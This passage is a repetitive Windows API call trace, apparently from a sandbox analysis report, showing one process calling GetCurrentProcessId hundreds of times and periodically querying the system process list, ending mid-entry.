GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.529] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.531] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.532] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0266.533] GetCurrentProcessId () returned 0xbf4 [0267.215] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.228] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.229] GetCurrentProcessId () returned 0xbf4 [0267.230] GetCurrentProcessId () returned 0xbf4 [0267.230] GetCurrentProcessId () returned 0xbf4 [0267.230] GetCurrentProcessId () returned 0xbf4 [0267.230] GetCurrentProcessId () returned 0xbf4 [0267.230] GetCurrentProcessId () returned 0xbf4 [0267.230] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.238] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.829] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.830] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.831] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.832] GetCurrentProcessId () returned 0xbf4 [0267.833] GetCurrentProcessId () returned 0xbf4 [0267.833] GetCurrentProcessId () returned 0xbf4 [0267.833] GetCurrentProcessId () returned 0xbf4 [0267.833] GetCurrentProcessId () returned 0xbf4 [0267.833] GetCurrentProcessId () returned 0xbf4 [0267.833] GetCurrentProcessId () returned 0xbf4 [0268.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.396] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.397] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.398] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.399] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.400] GetCurrentProcessId () returned 0xbf4 [0268.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0268.940] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.941] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.942] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.943] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.944] GetCurrentProcessId () returned 0xbf4 [0268.945] GetCurrentProcessId () returned 0xbf4 [0268.945] GetCurrentProcessId () returned 0xbf4 [0268.945] GetCurrentProcessId () returned 0xbf4 [0269.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c950) returned 0x0 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.860] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] 